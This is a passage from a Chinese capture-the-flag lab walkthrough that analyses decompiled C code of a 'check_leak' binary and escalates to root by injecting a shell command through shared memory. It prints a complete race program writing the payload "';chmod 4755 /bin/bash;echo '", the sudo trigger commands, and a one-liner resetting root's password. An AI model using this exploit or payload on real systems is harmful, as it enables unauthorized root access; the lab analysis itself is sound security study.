  if ( haystack == (char *)-1LL )
  {
    if ( *(_BYTE *)(((unsigned __int64)&stderr >> 3) + 0x7FFF8000) )
      __asan_report_load8(&stderr);
    fprintf(
      stderr,
      "Unable to attach to shared memory segment with ID %d. Please check if the segment is accessible.n",
      shmid);
    goto ERROR_NO_SHM_MEMORY;
  }
  hash_exist_flag_ptr = strstr(haystack, "Leaked hash detected");
  if ( !hash_exist_flag_ptr )
  {
    puts("No hash detected in shared memory.");
    goto ERROR_NO_HASHFLAG_FOUND;
  }
  pipechar_location_shm_ptr = strchr(hash_exist_flag_ptr, '>');
  if ( !pipechar_location_shm_ptr )
  {
    puts("Malformed data in the shared memory.");
ERROR_NO_HASHFLAG_FOUND:
    if ( shmdt(haystack) == -1 )
      perror("shmdt");
    unsetenv("MYSQL_PWD");
    goto ERROR_NO_SHM_MEMORY;
  }
  database_hash = trim_bcrypt_hash(pipechar_location_shm_ptr + 1);
  if ( setenv("MYSQL_PWD", db_pass, 1) )
  {
    perror("setenv");
    shmdt(haystack);
    v8 = 0;
  }
  else
  {
    command_buffer = snprintf(
                       0LL,
                       0LL,
                       "mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'",
                       db_user,
                       db_name,
                       database_hash);
    command = (char *)malloc(command_buffer + 1);
    if ( command )
    {
      snprintf(
        command,
        command_buffer + 1,
        "mysql -u %s -D %s -s -N -e 'select email from teampass_users where pw = "%s"'",
        db_user,
        db_name,
        database_hash);
      stream = popen(command, "r");
      if ( stream )
      {
        if ( fgets((char *)(v5 + 32), 256, stream) )
        {
          pclose(stream);
          free(command);
          v22 = strchr((const char *)(v5 + 32), 10);
          if ( v22 )
          {
            if ( *(_BYTE *)(((unsigned __int64)v22 >> 3) + 0x7FFF8000) != 0
              && ((unsigned __int8)v22 & 7) >= *(_BYTE *)(((unsigned __int64)v22 >> 3) + 0x7FFF8000) )
            {
              __asan_report_store1(v22);
            }
            *v22 = 0;
          }
          ptr = strdup((const char *)(v5 + 32));
          if ( ptr )
          {
            v9 = (_BYTE *)(v5 + 32);
            if ( *(_BYTE *)(((v5 + 32) >> 3) + 0x7FFF8000) != 0
              && (char)((v5 + 32) & 7) >= *(_BYTE *)(((v5 + 32) >> 3) + 0x7FFF8000) )
            {
              __asan_report_load1(v5 + 32);
            }
            if ( *v9 )
              printf("User will be notified via %sn", (const char *)(v5 + 32));
            free(ptr);
            v8 = 1;
          }
          else
          {
            puts("Failed to allocate memory for result string");
            shmdt(haystack);
            v8 = 0;
          }
        }
        else
        {
          puts("Failed to read result from the db");
          pclose(stream);
          free(command);
          shmdt(haystack);
          v8 = 0;
        }
      }
      else
      {
        puts("Failed to execute MySQL query");
        free(command);
        shmdt(haystack);
        v8 = 0;
      }
    }
    else
    {
      puts("Failed to allocate memory for command");
      shmdt(haystack);
      v8 = 0;
    }
  }
  memset((void *)(((v5 + 32) >> 3) + 2147450880), 248, 32);
  if ( v8 == 1 )
    goto ERROR_NO_HASHFLAG_FOUND;
ERROR_NO_SHM_MEMORY:
  if ( v24 == (char *)v5 )
  {
    *(_QWORD *)((v5 >> 3) + 0x7FFF8000) = 0LL;
    *(_QWORD *)((v5 >> 3) + 0x7FFF8008) = 0LL;
    *(_QWORD *)((v5 >> 3) + 0x7FFF8010) = 0LL;
    *(_QWORD *)((v5 >> 3) + 0x7FFF8018) = 0LL;
    *(_QWORD *)((v5 >> 3) + 0x7FFF8020) = 0LL;
    *(_DWORD *)((v5 >> 3) + 0x7FFF8028) = 0;
  }
  else
  {
    *(_QWORD *)v5 = 1172321806LL;
    *(_QWORD *)((v5 >> 3) + 0x7FFF8000) = 0xF5F5F5F5F5F5F5F5LL;
    *(_QWORD *)((v5 >> 3) + 0x7FFF8008) = 0xF5F5F5F5F5F5F5F5LL;
    *(_QWORD *)((v5 >> 3) + 0x7FFF8010) = 0xF5F5F5F5F5F5F5F5LL;
    *(_QWORD *)((v5 >> 3) + 0x7FFF8018) = 0xF5F5F5F5F5F5F5F5LL;
    *(_QWORD *)((v5 >> 3) + 0x7FFF8020) = 0xF5F5F5F5F5F5F5F5LL;
    *(_DWORD *)((v5 >> 3) + 0x7FFF8028) = -168430091;
    **(_BYTE **)(v5 + 504) = 0;
  }
  return v25 - __readfsqword(0x28u);
}

该函数前半部分的重点在第41 - 73行。在第41 - 47行,程序通过shmget()shmat()函数连接了之前创建的共享内存空间,随后,使用强制类型转换获取了保存在共享内存内的哈希值字符串。接着,在第58行,通过strstr函数获取了如下字符串在整个哈希字符串内的首字母索引值:

Leaked hash detected

然后对函数返回值执行判断,若返回空值则报错退出。

在第64行,又使用strchr函数,获取了哈希值字符串内<号的指针pipechar_location_shm_ptr。若该值为空,则报错退出。

在函数下半部分,又调用了trim_bcrypt_hash函数,传入值为指针pipechar_location_shm_ptr。查看其内容:

发现该函数首先会循环判断当前指针对应字符串是否同时满足条件:不等于空格且不等于大于号。若符合,则退出循环,否则将pipechar_location_shm_ptr指针首部索引值加1。随后,会清除字符串末尾的垃圾字符,并将其返回。

回到notify_user()继续分析。在第83 - 100行内,发现了命令执行敏感操作。程序首先将trim_bcrypt_hash结果存到了database_hash变量内,随后使用db_userdb_namedatabase_hash三个变量,格式化如下进行数据库查询的Linux系统命令:

mysql -u {db_user} -D {db_name} -s -N -e 'select email from teampass_users where pw = "{database_hash}"'

接着就使用popen()函数执行了此条命令:

执行完成后,就输出结果返回main()函数。当notify_user()执行完毕后,程序就删除了共享空间并退出了进程。

Sudo check_leak命令注入提权

纵观整个check_leak程序,我们似乎没有可以直接从命令行处控制的变量。但由于在Linux中,程序创建的共享内存可以被任何进程自由读取和写入,因此我们可以控制程序创建的共享内存并注入恶意命令。

在实际操作中,每次运行该程序,程序生成的共享内存地址值都不一样,因此我们可以编写一个不断循环根据当前时间戳生成共享内存地址值,连接该地址并注入恶意命令的程序。这样一来,当我们事先在后台运行恶意程序,随后执行check_leak程序时,程序在该时刻生成的共享内存地址值一定和同一时刻恶意程序生成的值相同。当check_leak程序成功向共享内存写入哈希值并睡眠1秒时,恶意程序就会重新向共享内存写入恶意命令。这样一来,当check_leaknotify_user()函数执行时,恶意命令就会被格式化到mysql查询命令内并被执行。

首先,我们需要确定注入到共享内存中的内容:

Leaked hash detected at >';chmod 4755 /bin/bash;echo '

随后在靶机上编写如下程序:

#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <stdbool.h>
#include <sys/types.h>
int main() {
    int shmid;
    int timestamp;
    char *shm_ptr;
    unsigned long shm_addr;
    while(true) {
        timestamp = time(0LL);
        srand(timestamp);
        shm_addr = rand() % 0xFFFFF;
        shmid = shmget(shm_addr, 0x400uLL, 950);
        if (shmid == -1) {
            printf("[-] Failed to create shared memory!n");
            continue;
        }
        printf("[*] Shared Memory Address: %xn", shm_addr);
        shm_ptr = (char *)shmat(shmid, 0LL, 0);
        if ( shm_ptr == (char *)-1LL ) {
            printf("[-] Error on opening an shared memory!n");
            continue;
        }
        snprintf(shm_ptr, 0x400uLL, "Leaked hash detected at >';chmod 4755 /bin/bash;echo '");
        printf("[+] Malicious command injected!n");
        shmdt(shm_ptr);
    }
    return 0;
}

随后编译该程序,在后台运行,接着执行check_leak.sh,指定获取bob用户名哈希,触发恶意命令:

gcc inject.c -o inject.elf
./inject.elf > ./inject.log &
sudo /opt/hash-checker/check-leak.sh bob

修改/bin/bash权限成功!!直接修改root密码并切换用户:

/bin/bash -p
python3 -c "import os;os.setuid(0);os.setgid(0);os.system('echo 'root:Asd310056' | chpasswd')"
exit
su -

提权成功!!!!


本次靶机渗透到此结束


此作者没有提供个人介绍。
最后更新于 2025-05-18